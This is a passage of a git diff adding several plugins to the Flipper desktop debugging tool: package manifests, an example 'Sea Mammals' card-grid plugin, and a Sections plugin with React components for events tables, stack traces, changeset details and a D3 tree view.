"name": "Sandbox",
|
||||
"title": "Sandbox",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"icon": "translate",
|
||||
"bugs": {
|
||||
"email": "edoardo@fb.com"
|
||||
}
|
||||
}
|
||||
4
desktop/plugins/sandbox/yarn.lock
Normal file
4
desktop/plugins/sandbox/yarn.lock
Normal file
@@ -0,0 +1,4 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
148
desktop/plugins/seamammals/index.tsx
Normal file
148
desktop/plugins/seamammals/index.tsx
Normal file
@@ -0,0 +1,148 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
Text,
|
||||
Panel,
|
||||
ManagedDataInspector,
|
||||
FlipperPlugin,
|
||||
DetailSidebar,
|
||||
FlexRow,
|
||||
FlexColumn,
|
||||
styled,
|
||||
colors,
|
||||
} from 'flipper';
|
||||
import React from 'react';
|
||||
|
||||
type Id = number;
|
||||
|
||||
type Row = {
|
||||
id: Id;
|
||||
title: string;
|
||||
url: string;
|
||||
};
|
||||
|
||||
function renderSidebar(row: Row) {
|
||||
return (
|
||||
<Panel floating={false} heading={'Extras'}>
|
||||
<ManagedDataInspector data={row} expandRoot={true} />
|
||||
</Panel>
|
||||
);
|
||||
}
|
||||
|
||||
type State = {
|
||||
selectedID: string | null;
|
||||
};
|
||||
|
||||
type PersistedState = {
|
||||
[key: string]: Row;
|
||||
};
|
||||
|
||||
export default class SeaMammals extends FlipperPlugin<
|
||||
State,
|
||||
any,
|
||||
PersistedState
|
||||
> {
|
||||
static defaultPersistedState = {};
|
||||
|
||||
static persistedStateReducer<PersistedState>(
|
||||
persistedState: PersistedState,
|
||||
method: string,
|
||||
payload: Row,
|
||||
) {
|
||||
if (method === 'newRow') {
|
||||
return Object.assign({}, persistedState, {
|
||||
[payload.id]: payload,
|
||||
});
|
||||
}
|
||||
return persistedState;
|
||||
}
|
||||
|
||||
static Container = styled(FlexRow)({
|
||||
backgroundColor: colors.macOSTitleBarBackgroundBlur,
|
||||
flexWrap: 'wrap',
|
||||
alignItems: 'flex-start',
|
||||
alignContent: 'flex-start',
|
||||
flexGrow: 1,
|
||||
overflow: 'scroll',
|
||||
});
|
||||
|
||||
state = {
|
||||
selectedID: null as string | null,
|
||||
};
|
||||
|
||||
render() {
|
||||
const {selectedID} = this.state;
|
||||
const {persistedState} = this.props;
|
||||
|
||||
return (
|
||||
<SeaMammals.Container>
|
||||
{Object.entries(persistedState).map(([id, row]) => (
|
||||
<Card
|
||||
{...row}
|
||||
onSelect={() => this.setState({selectedID: id})}
|
||||
selected={id === selectedID}
|
||||
key={id}
|
||||
/>
|
||||
))}
|
||||
<DetailSidebar>
|
||||
{selectedID && renderSidebar(persistedState[selectedID])}
|
||||
</DetailSidebar>
|
||||
</SeaMammals.Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class Card extends React.Component<
|
||||
{
|
||||
onSelect: () => void;
|
||||
selected: boolean;
|
||||
} & Row
|
||||
> {
|
||||
static Container = styled(FlexColumn)<{selected?: boolean}>(props => ({
|
||||
margin: 10,
|
||||
borderRadius: 5,
|
||||
border: '2px solid black',
|
||||
backgroundColor: colors.white,
|
||||
borderColor: props.selected
|
||||
? colors.macOSTitleBarIconSelected
|
||||
: colors.white,
|
||||
padding: 0,
|
||||
width: 150,
|
||||
overflow: 'hidden',
|
||||
boxShadow: '1px 1px 4px rgba(0,0,0,0.1)',
|
||||
cursor: 'pointer',
|
||||
}));
|
||||
|
||||
static Image = styled.div({
|
||||
backgroundSize: 'cover',
|
||||
width: '100%',
|
||||
paddingTop: '100%',
|
||||
});
|
||||
|
||||
static Title = styled(Text)({
|
||||
fontSize: 14,
|
||||
fontWeight: 'bold',
|
||||
padding: '10px 5px',
|
||||
overflow: 'hidden',
|
||||
textOverflow: 'ellipsis',
|
||||
whiteSpace: 'nowrap',
|
||||
});
|
||||
|
||||
render() {
|
||||
return (
|
||||
<Card.Container
|
||||
onClick={this.props.onSelect}
|
||||
selected={this.props.selected}>
|
||||
<Card.Image style={{backgroundImage: `url(${this.props.url || ''})`}} />
|
||||
<Card.Title>{this.props.title}</Card.Title>
|
||||
</Card.Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
13
desktop/plugins/seamammals/package.json
Normal file
13
desktop/plugins/seamammals/package.json
Normal file
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"name": "sea-mammals",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"icon": "apps",
|
||||
"title": "Sea Mammals",
|
||||
"category": "Example Plugin",
|
||||
"bugs": {
|
||||
"email": "realpassy@fb.com"
|
||||
}
|
||||
}
|
||||
4
desktop/plugins/seamammals/yarn.lock
Normal file
4
desktop/plugins/seamammals/yarn.lock
Normal file
@@ -0,0 +1,4 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
111
desktop/plugins/sections/DetailsPanel.js
Normal file
111
desktop/plugins/sections/DetailsPanel.js
Normal file
@@ -0,0 +1,111 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import type {UpdateTreeGenerationChangesetApplicationPayload} from './Models.js';
|
||||
|
||||
import React from 'react';
|
||||
import {
|
||||
MarkerTimeline,
|
||||
Component,
|
||||
styled,
|
||||
FlexBox,
|
||||
ManagedDataInspector,
|
||||
Panel,
|
||||
colors,
|
||||
} from 'flipper';
|
||||
|
||||
const NoContent = styled(FlexBox)({
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
flexGrow: 1,
|
||||
fontWeight: '500',
|
||||
color: colors.light30,
|
||||
});
|
||||
|
||||
type Props = {|
|
||||
changeSets: ?Array<UpdateTreeGenerationChangesetApplicationPayload>,
|
||||
eventUserInfo: ?Object,
|
||||
focusedChangeSet: ?UpdateTreeGenerationChangesetApplicationPayload,
|
||||
onFocusChangeSet: (
|
||||
focusedChangeSet: ?UpdateTreeGenerationChangesetApplicationPayload,
|
||||
) => void,
|
||||
selectedNodeInfo: ?Object,
|
||||
|};
|
||||
|
||||
export default class DetailsPanel extends Component<Props> {
|
||||
render() {
|
||||
const {changeSets, eventUserInfo} = this.props;
|
||||
const firstChangeSet =
|
||||
(changeSets || []).reduce(
|
||||
(min, cs) => Math.min(min, cs.timestamp),
|
||||
Infinity,
|
||||
) || 0;
|
||||
return (
|
||||
<React.Fragment>
|
||||
{eventUserInfo && (
|
||||
<Panel
|
||||
key="eventUserInfo"
|
||||
collapsable={false}
|
||||
floating={false}
|
||||
heading={'Event User Info'}>
|
||||
<ManagedDataInspector data={eventUserInfo} expandRoot={true} />
|
||||
</Panel>
|
||||
)}
|
||||
{changeSets && changeSets.length > 0 ? (
|
||||
<Panel
|
||||
key="Changesets"
|
||||
collapsable={false}
|
||||
floating={false}
|
||||
heading={'Changesets'}>
|
||||
<MarkerTimeline
|
||||
points={changeSets.map(p => ({
|
||||
label:
|
||||
p.type === 'CHANGESET_GENERATED' ? 'Generated' : 'Rendered',
|
||||
time: Math.round((p.timestamp || 0) - firstChangeSet),
|
||||
color:
|
||||
p.type === 'CHANGESET_GENERATED' ? colors.lemon : colors.teal,
|
||||
key: p.identifier,
|
||||
}))}
|
||||
onClick={ids =>
|
||||
this.props.onFocusChangeSet(
|
||||
changeSets.find(c => c.identifier === ids[0]),
|
||||
)
|
||||
}
|
||||
selected={this.props.focusedChangeSet?.identifier}
|
||||
/>
|
||||
</Panel>
|
||||
) : (
|
||||
<NoContent>No changes sets available</NoContent>
|
||||
)}
|
||||
{this.props.focusedChangeSet && (
|
||||
<Panel
|
||||
key="Changeset Details"
|
||||
floating={false}
|
||||
heading="Changeset Details">
|
||||
<ManagedDataInspector
|
||||
data={this.props.focusedChangeSet.changeset}
|
||||
expandRoot={true}
|
||||
/>
|
||||
</Panel>
|
||||
)}
|
||||
{this.props.selectedNodeInfo && (
|
||||
<Panel
|
||||
key="Selected Node Info"
|
||||
floating={false}
|
||||
heading="Selected Node Info">
|
||||
<ManagedDataInspector
|
||||
data={this.props.selectedNodeInfo}
|
||||
expandRoot={true}
|
||||
/>
|
||||
</Panel>
|
||||
)}
|
||||
</React.Fragment>
|
||||
);
|
||||
}
|
||||
}
|
||||
248
desktop/plugins/sections/EventsTable.js
Normal file
248
desktop/plugins/sections/EventsTable.js
Normal file
@@ -0,0 +1,248 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import type {TreeGeneration} from './Models.js';
|
||||
|
||||
import {
|
||||
FlexColumn,
|
||||
FlexRow,
|
||||
Component,
|
||||
Tooltip,
|
||||
Glyph,
|
||||
styled,
|
||||
colors,
|
||||
} from 'flipper';
|
||||
import React from 'react';
|
||||
|
||||
const PADDING = 15;
|
||||
const WIDTH = 70;
|
||||
const LABEL_WIDTH = 140;
|
||||
|
||||
const Container = styled(FlexRow)({
|
||||
flexShrink: 0,
|
||||
flexGrow: 1,
|
||||
});
|
||||
|
||||
const SurfaceContainer = styled(FlexColumn)(props => ({
|
||||
position: 'relative',
|
||||
'::after': {
|
||||
display: props.scrolled ? 'block' : 'none',
|
||||
content: '""',
|
||||
top: 0,
|
||||
bottom: 0,
|
||||
right: -15,
|
||||
width: 15,
|
||||
background: `linear-gradient(90deg, ${colors.macOSTitleBarBackgroundBlur} 0%, transparent 100%)`,
|
||||
zIndex: 3,
|
||||
position: 'absolute',
|
||||
},
|
||||
}));
|
||||
|
||||
const TimeContainer = styled(FlexColumn)({
|
||||
overflow: 'scroll',
|
||||
flexGrow: 1,
|
||||
flexShrink: 1,
|
||||
});
|
||||
|
||||
const Row = styled(FlexRow)(props => ({
|
||||
alignItems: 'center',
|
||||
paddingBottom: 3,
|
||||
marginTop: 3,
|
||||
flexGrow: 1,
|
||||
flexShrink: 0,
|
||||
maxHeight: 75,
|
||||
position: 'relative',
|
||||
minWidth: '100%',
|
||||
alignSelf: 'flex-start',
|
||||
'::before': {
|
||||
display: props.showTimeline ? 'block' : 'none',
|
||||
zIndex: 1,
|
||||
content: '""',
|
||||
position: 'absolute',
|
||||
borderTop: `1px dotted ${colors.light15}`,
|
||||
height: 1,
|
||||
top: '50%',
|
||||
left: 0,
|
||||
right: 0,
|
||||
},
|
||||
}));
|
||||
|
||||
const Label = styled.div({
|
||||
width: LABEL_WIDTH,
|
||||
paddingLeft: 10,
|
||||
paddingRight: 10,
|
||||
fontWeight: 'bold',
|
||||
textOverflow: 'ellipsis',
|
||||
overflow: 'hidden',
|
||||
whiteSpace: 'nowrap',
|
||||
textAlign: 'right',
|
||||
flexShrink: 0,
|
||||
position: 'sticky',
|
||||
left: 0,
|
||||
zIndex: 2,
|
||||
});
|
||||
|
||||
const Content = styled.div({
|
||||
textOverflow: 'ellipsis',
|
||||
overflow: 'hidden',
|
||||
fontSize: 11,
|
||||
textAlign: 'center',
|
||||
textTransform: 'uppercase',
|
||||
fontWeight: '500',
|
||||
color: colors.light50,
|
||||
});
|
||||
|
||||
const Record = styled.div(({highlighted}) => ({
|
||||
border: `1px solid ${colors.light15}`,
|
||||
boxShadow: highlighted
|
||||
? `inset 0 0 0 2px ${colors.macOSTitleBarIconSelected}`
|
||||
: 'none',
|
||||
borderRadius: 5,
|
||||
padding: 5,
|
||||
marginRight: PADDING,
|
||||
backgroundColor: colors.white,
|
||||
zIndex: 2,
|
||||
position: 'relative',
|
||||
width: WIDTH,
|
||||
flexShrink: 0,
|
||||
alignSelf: 'stretch',
|
||||
display: 'flex',
|
||||
alignItems: 'center',
|
||||
}));
|
||||
|
||||
const Empty = styled.div({
|
||||
width: WIDTH,
|
||||
padding: '10px 5px',
|
||||
marginRight: PADDING,
|
||||
flexShrink: 0,
|
||||
position: 'relative',
|
||||
});
|
||||
|
||||
const Icon = styled(Glyph)({
|
||||
position: 'absolute',
|
||||
right: 5,
|
||||
top: 5,
|
||||
});
|
||||
|
||||
type Props = {|
|
||||
generations: Array<TreeGeneration>,
|
||||
focusedGenerationId: ?string,
|
||||
onClick: (id: string) => mixed,
|
||||
|};
|
||||
|
||||
type State = {
|
||||
scrolled: boolean,
|
||||
};
|
||||
|
||||
export default class extends Component<Props, State> {
|
||||
state = {
|
||||
scrolled: false,
|
||||
};
|
||||
|
||||
componentDidMount() {
|
||||
document.addEventListener('keydown', this.onKeyDown);
|
||||
}
|
||||
|
||||
componentWillUnmount() {
|
||||
document.removeEventListener('keydown', this.onKeyDown);
|
||||
}
|
||||
|
||||
componentDidUpdate(prevProps: Props) {
|
||||
const {focusedGenerationId} = this.props;
|
||||
if (
|
||||
focusedGenerationId &&
|
||||
focusedGenerationId !== prevProps.focusedGenerationId
|
||||
) {
|
||||
const node = document.querySelector(`[data-id="${focusedGenerationId}"]`);
|
||||
if (node) {
|
||||
node.scrollIntoViewIfNeeded();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
onKeyDown = (e: KeyboardEvent) => {
|
||||
if (e.key !== 'ArrowRight' && e.key !== 'ArrowLeft') {
|
||||
return;
|
||||
}
|
||||
e.preventDefault();
|
||||
let nextGenerationId = null;
|
||||
|
||||
const index = this.props.generations.findIndex(
|
||||
g => g.id === this.props.focusedGenerationId,
|
||||
);
|
||||
|
||||
const direction = e.key === 'ArrowRight' ? 1 : -1;
|
||||
const bound = e.key === 'ArrowRight' ? this.props.generations.length : -1;
|
||||
|
||||
for (let i = index + direction; i !== bound; i += direction) {
|
||||
if (
|
||||
this.props.generations[i].surface_key ===
|
||||
this.props.generations[index].surface_key
|
||||
) {
|
||||
nextGenerationId = this.props.generations[i].id;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (nextGenerationId) {
|
||||
this.props.onClick(nextGenerationId);
|
||||
}
|
||||
};
|
||||
|
||||
onScroll = (e: SyntheticUIEvent<HTMLElement>) =>
|
||||
this.setState({scrolled: e.currentTarget.scrollLeft > 0});
|
||||
|
||||
render() {
|
||||
const surfaces = this.props.generations.reduce(
|
||||
(acc, cv) => acc.add(cv.surface_key),
|
||||
new Set(),
|
||||
);
|
||||
return (
|
||||
<Container>
|
||||
<SurfaceContainer scrolled={this.state.scrolled}>
|
||||
{[...surfaces].map(surface => (
|
||||
<Row key={surface}>
|
||||
<Label title={surface}>{surface}</Label>
|
||||
</Row>
|
||||
))}
|
||||
</SurfaceContainer>
|
||||
<TimeContainer onScroll={this.onScroll}>
|
||||
{[...surfaces].map(surface => (
|
||||
<Row key={surface} showTimeline>
|
||||
{this.props.generations.map((record: TreeGeneration) =>
|
||||
record.surface_key === surface ? (
|
||||
<Record
|
||||
key={`${surface}${record.id}`}
|
||||
data-id={record.id}
|
||||
highlighted={record.id === this.props.focusedGenerationId}
|
||||
onClick={() => this.props.onClick(record.id)}>
|
||||
<Content>{record.reason}</Content>
|
||||
{record.reentrant_count > 0 && (
|
||||
<Tooltip
|
||||
title={'Reentrant count ' + record.reentrant_count}>
|
||||
<Icon
|
||||
color={colors.red}
|
||||
name="caution-circle"
|
||||
variant="filled"
|
||||
size={12}
|
||||
/>
|
||||
</Tooltip>
|
||||
)}
|
||||
</Record>
|
||||
) : (
|
||||
<Empty key={`${surface}${record.id}`} />
|
||||
),
|
||||
)}
|
||||
</Row>
|
||||
))}
|
||||
</TimeContainer>
|
||||
</Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
98
desktop/plugins/sections/Models.js
Normal file
98
desktop/plugins/sections/Models.js
Normal file
@@ -0,0 +1,98 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
export type SectionComponentHierarchy = {|
|
||||
type: string,
|
||||
children: Array<SectionComponentHierarchy>,
|
||||
|};
|
||||
|
||||
export type AddEventPayload = {|
|
||||
id: string,
|
||||
reason: string,
|
||||
stack_trace: Array<string>,
|
||||
skip_stack_trace_format?: boolean,
|
||||
surface_key: string,
|
||||
event_timestamp: number,
|
||||
update_mode: number,
|
||||
reentrant_count: number,
|
||||
payload: ?Object,
|
||||
|};
|
||||
|
||||
export type UpdateTreeGenerationHierarchyGenerationPayload = {|
|
||||
hierarchy_generation_timestamp: number,
|
||||
id: string,
|
||||
reason: string,
|
||||
tree?: Array<{
|
||||
didTriggerStateUpdate?: boolean,
|
||||
identifier: string,
|
||||
isDirty?: boolean,
|
||||
isReused?: boolean,
|
||||
name: string,
|
||||
parent: string | '',
|
||||
inserted?: boolean,
|
||||
removed?: boolean,
|
||||
updated?: boolean,
|
||||
unchanged?: boolean,
|
||||
isSection?: boolean,
|
||||
isDataModel?: boolean,
|
||||
}>,
|
||||
|};
|
||||
|
||||
export type UpdateTreeGenerationChangesetGenerationPayload = {|
|
||||
timestamp: number,
|
||||
tree_generation_id: string,
|
||||
identifier: string,
|
||||
type: string,
|
||||
changesets: {
|
||||
section_key: {
|
||||
changesets: {
|
||||
id: {
|
||||
count: number,
|
||||
index: number,
|
||||
toIndex?: number,
|
||||
type: string,
|
||||
render_infos?: Array<String>,
|
||||
prev_data?: Array<String>,
|
||||
next_data?: Array<String>,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
|};
|
||||
|
||||
export type UpdateTreeGenerationChangesetApplicationPayload = {|
|
||||
changeset: {
|
||||
section_key: {
|
||||
changesets: {
|
||||
id: {
|
||||
count: number,
|
||||
index: number,
|
||||
toIndex?: number,
|
||||
type: string,
|
||||
render_infos?: Array<String>,
|
||||
prev_data?: Array<String>,
|
||||
next_data?: Array<String>,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
type: string,
|
||||
identifier: string,
|
||||
timestamp: number,
|
||||
section_component_hierarchy: SectionComponentHierarchy,
|
||||
tree_generation_id: string,
|
||||
payload: ?Object,
|
||||
|};
|
||||
|
||||
export type TreeGeneration = {|
|
||||
...AddEventPayload,
|
||||
...$Shape<UpdateTreeGenerationHierarchyGenerationPayload>,
|
||||
...$Shape<UpdateTreeGenerationChangesetGenerationPayload>,
|
||||
changeSets: Array<UpdateTreeGenerationChangesetApplicationPayload>,
|
||||
|};
|
||||
62
desktop/plugins/sections/StackTrace.js
Normal file
62
desktop/plugins/sections/StackTrace.js
Normal file
@@ -0,0 +1,62 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import React from 'react';
|
||||
import {colors, StackTrace} from 'flipper';
|
||||
|
||||
const FacebookLibraries = ['Facebook'];
|
||||
|
||||
const REGEX = new RegExp(
|
||||
'(?<library>[A-Za-z0-9]*) *(?<address>0x[A-Za-z0-9]*) (?<caller>(.*)) \\+ (?<lineNumber>[0-9]*)',
|
||||
);
|
||||
|
||||
function isSystemLibrary(libraryName: ?string): boolean {
|
||||
return !FacebookLibraries.includes(libraryName);
|
||||
}
|
||||
|
||||
type Props = {
|
||||
data: Array<string>,
|
||||
skipStackTraceFormat?: boolean,
|
||||
};
|
||||
|
||||
export default class extends React.Component<Props> {
|
||||
render() {
|
||||
if (this.props.skipStackTraceFormat) {
|
||||
return (
|
||||
<StackTrace backgroundColor={colors.white}>
|
||||
{this.props.data.map(stack_trace_line => {
|
||||
return {
|
||||
caller: stack_trace_line,
|
||||
};
|
||||
})}
|
||||
</StackTrace>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<StackTrace backgroundColor={colors.white}>
|
||||
{/* We need to filter out from the stack trace any reference to the plugin such that the information is more coincised and focused */}
|
||||
{this.props.data
|
||||
.filter(stack_trace_line => {
|
||||
return !stack_trace_line.includes('FlipperKitSectionsPlugin');
|
||||
})
|
||||
.map(stack_trace_line => {
|
||||
const trace = REGEX.exec(stack_trace_line)?.groups;
|
||||
return {
|
||||
bold: !isSystemLibrary(trace?.library),
|
||||
library: trace?.library,
|
||||
address: trace?.address,
|
||||
caller: trace?.caller,
|
||||
lineNumber: trace?.lineNumber,
|
||||
};
|
||||
})}
|
||||
</StackTrace>
|
||||
);
|
||||
}
|
||||
}
|
||||
302
desktop/plugins/sections/Tree.js
Normal file
302
desktop/plugins/sections/Tree.js
Normal file
@@ -0,0 +1,302 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import type {SectionComponentHierarchy} from './Models';
|
||||
|
||||
import {Glyph, PureComponent, styled, Toolbar, Spacer, colors} from 'flipper';
|
||||
import {Tree} from 'react-d3-tree';
|
||||
import {Fragment} from 'react';
|
||||
|
||||
const Legend = styled.div(props => ({
|
||||
color: colors.dark50,
|
||||
marginLeft: 20,
|
||||
'&::before': {
|
||||
content: '""',
|
||||
display: 'inline-block',
|
||||
width: 10,
|
||||
height: 10,
|
||||
borderRadius: 6,
|
||||
backgroundColor: props.color,
|
||||
border: `1px solid rgba(0,0,0,0.2)`,
|
||||
marginRight: 4,
|
||||
marginBottom: -1,
|
||||
},
|
||||
}));
|
||||
|
||||
const Label = styled.div({
|
||||
position: 'relative',
|
||||
top: -7,
|
||||
left: 7,
|
||||
maxWidth: 270,
|
||||
overflow: 'hidden',
|
||||
fontWeight: '500',
|
||||
textOverflow: 'ellipsis',
|
||||
paddingLeft: 5,
|
||||
paddingRight: 5,
|
||||
background: colors.white,
|
||||
display: 'inline-block',
|
||||
});
|
||||
|
||||
const Container = styled.div({
|
||||
width: '100%',
|
||||
height: '100%',
|
||||
overflow: 'hidden',
|
||||
background:
|
||||
'linear-gradient(-90deg,rgba(0,0,0,.02) 1px,transparent 0),linear-gradient(rgba(0,0,0,.02) 1px,transparent 0),linear-gradient(-90deg,rgba(0,0,0,.03) 1px,transparent 0),linear-gradient(rgba(0,0,0,.03) 1px,transparent 0)',
|
||||
backgroundSize:
|
||||
'10px 10px,10px 10px,100px 100px,100px 100px,100px 100px,100px 100px,100px 100px,100px 100px',
|
||||
});
|
||||
|
||||
const LabelContainer = styled.div({
|
||||
display: 'flex',
|
||||
});
|
||||
|
||||
const IconButton = styled.div({
|
||||
position: 'relative',
|
||||
left: 5,
|
||||
top: -8,
|
||||
background: colors.white,
|
||||
});
|
||||
|
||||
type TreeData = Array<{
|
||||
identifier: string,
|
||||
name: string,
|
||||
parent: string | '',
|
||||
didTriggerStateUpdate?: boolean,
|
||||
isReused?: boolean,
|
||||
isDirty?: boolean,
|
||||
inserted?: boolean,
|
||||
removed?: boolean,
|
||||
updated?: boolean,
|
||||
unchanged?: boolean,
|
||||
isSection?: boolean,
|
||||
isDataModel?: boolean,
|
||||
}>;
|
||||
|
||||
type Props = {
|
||||
data: TreeData | SectionComponentHierarchy,
|
||||
nodeClickHandler?: (node: any, evt: InputEvent) => void,
|
||||
};
|
||||
|
||||
type State = {
|
||||
translate: {
|
||||
x: number,
|
||||
y: number,
|
||||
},
|
||||
tree: ?Object,
|
||||
zoom: number,
|
||||
};
|
||||
|
||||
class NodeLabel extends PureComponent<Props, State> {
|
||||
state = {
|
||||
collapsed: false,
|
||||
};
|
||||
|
||||
showNodeData = e => {
|
||||
e.stopPropagation();
|
||||
this.props.onLabelClicked(this.props?.nodeData);
|
||||
};
|
||||
|
||||
toggleClicked = () => {
|
||||
this.setState({
|
||||
collapsed: !this.state.collapsed,
|
||||
});
|
||||
};
|
||||
|
||||
render() {
|
||||
const name = this.props?.nodeData?.name;
|
||||
const isSection = this.props?.nodeData?.attributes.isSection;
|
||||
const chevron = this.state.collapsed ? 'chevron-right' : 'chevron-left';
|
||||
|
||||
return (
|
||||
<LabelContainer>
|
||||
<Label title={name} onClick={this.showNodeData}>
|
||||
{name}
|
||||
</Label>
|
||||
{isSection && (
|
||||
<IconButton onClick={this.toggleClicked}>
|
||||
<Glyph
|
||||
color={colors.blueGreyTint70}
|
||||
name={chevron}
|
||||
variant={'filled'}
|
||||
size={12}
|
||||
/>
|
||||
</IconButton>
|
||||
)}
|
||||
</LabelContainer>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default class extends PureComponent<Props, State> {
|
||||
treeFromFlatArray = (data: TreeData) => {
|
||||
const tree = data.map(n => {
|
||||
let fill = colors.blueGreyTint70;
|
||||
if (n.didTriggerStateUpdate) {
|
||||
fill = colors.lemon;
|
||||
} else if (n.isReused) {
|
||||
fill = colors.teal;
|
||||
} else if (n.isDirty) {
|
||||
fill = colors.grape;
|
||||
}
|
||||
|
||||
if (n.removed) {
|
||||
fill = colors.light20;
|
||||
} else if (n.inserted) {
|
||||
fill = colors.pinkDark1;
|
||||
} else if (n.updated) {
|
||||
fill = colors.orangeTint15;
|
||||
} else if (n.unchanged) {
|
||||
fill = colors.teal;
|
||||
}
|
||||
|
||||
return {
|
||||
name: n.name,
|
||||
children: [],
|
||||
attributes: {...n},
|
||||
nodeSvgShape: {
|
||||
shapeProps: {
|
||||
fill,
|
||||
r: 6,
|
||||
strokeWidth: 1,
|
||||
stroke: 'rgba(0,0,0,0.2)',
|
||||
},
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
const parentMap: Map<string, Array<Object>> = tree.reduce((acc, cv) => {
|
||||
const {parent} = cv.attributes;
|
||||
if (typeof parent !== 'string') {
|
||||
return acc;
|
||||
}
|
||||
const children = acc.get(parent);
|
||||
if (children) {
|
||||
return acc.set(parent, children.concat(cv));
|
||||
} else {
|
||||
return acc.set(parent, [cv]);
|
||||
}
|
||||
}, new Map());
|
||||
|
||||
tree.forEach(n => {
|
||||
n.children = parentMap.get(n.attributes.identifier) || [];
|
||||
});
|
||||
|
||||
// find the root node
|
||||
return tree.find(node => !node.attributes.parent);
|
||||
};
|
||||
|
||||
treeFromHierarchy = (data: SectionComponentHierarchy): Object => {
|
||||
return {
|
||||
name: data.type,
|
||||
children: data.children ? data.children.map(this.treeFromHierarchy) : [],
|
||||
};
|
||||
};
|
||||
|
||||
state = {
|
||||
translate: {
|
||||
x: 0,
|
||||
y: 0,
|
||||
},
|
||||
tree: Array.isArray(this.props.data)
|
||||
? this.treeFromFlatArray(this.props.data)
|
||||
: this.treeFromHierarchy(this.props.data),
|
||||
zoom: 1,
|
||||
};
|
||||
|
||||
treeContainer: any = null;
|
||||
|
||||
UNSAFE_componentWillReceiveProps(props: Props) {
|
||||
if (this.props.data === props.data) {
|
||||
return;
|
||||
}
|
||||
|
||||
this.setState({
|
||||
tree: Array.isArray(props.data)
|
||||
? this.treeFromFlatArray(props.data)
|
||||
: this.treeFromHierarchy(props.data),
|
||||
});
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
if (this.treeContainer) {
|
||||
const dimensions = this.treeContainer.getBoundingClientRect();
|
||||
this.setState({
|
||||
translate: {
|
||||
x: 50,
|
||||
y: dimensions.height / 2,
|
||||
},
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
onZoom = (e: SyntheticInputEvent<HTMLInputElement>) => {
|
||||
this.setState({zoom: e.target.valueAsNumber});
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<Fragment>
|
||||
<Container
|
||||
innerRef={ref => {
|
||||
this.treeContainer = ref;
|
||||
}}>
|
||||
<style>
|
||||
{'.rd3t-tree-container foreignObject {overflow: visible;}'}
|
||||
</style>
|
||||
{this.state.tree && (
|
||||
<Tree
|
||||
transitionDuration={0}
|
||||
separation={{siblings: 0.5, nonSiblings: 0.5}}
|
||||
data={this.state.tree}
|
||||
translate={this.state.translate}
|
||||
zoom={this.state.zoom}
|
||||
nodeLabelComponent={{
|
||||
render: (
|
||||
<NodeLabel onLabelClicked={this.props.nodeClickHandler} />
|
||||
),
|
||||
}}
|
||||
allowForeignObjects
|
||||
nodeSvgShape={{
|
||||
shape: 'circle',
|
||||
shapeProps: {
|
||||
stroke: 'rgba(0,0,0,0.2)',
|
||||
strokeWidth: 1,
|
||||
},
|
||||
}}
|
||||
styles={{
|
||||
links: {
|
||||
stroke: '#b3b3b3',
|
||||
},
|
||||
}}
|
||||
nodeSize={{x: 300, y: 100}}
|
||||
/>
|
||||
)}
|
||||
</Container>
|
||||
<Toolbar position="bottom" compact>
|
||||
<input
|
||||
type="range"
|
||||
onChange={this.onZoom}
|
||||
value={this.state.zoom}
|
||||
min="0.1"
|
||||
max="1"
|
||||
step="0.01"
|
||||
/>
|
||||
<Spacer />
|
||||
<Legend color={colors.light20}>Item removed</Legend>
|
||||
<Legend color={colors.pinkDark1}>Item inserted</Legend>
|
||||
<Legend color={colors.orangeTint15}>Item updated</Legend>
|
||||
<Legend color={colors.teal}>Item/Section Reused</Legend>
|
||||
<Legend color={colors.lemon}>Section triggered state update</Legend>
|
||||
<Legend color={colors.grape}>Section is dirty</Legend>
|
||||
</Toolbar>
|
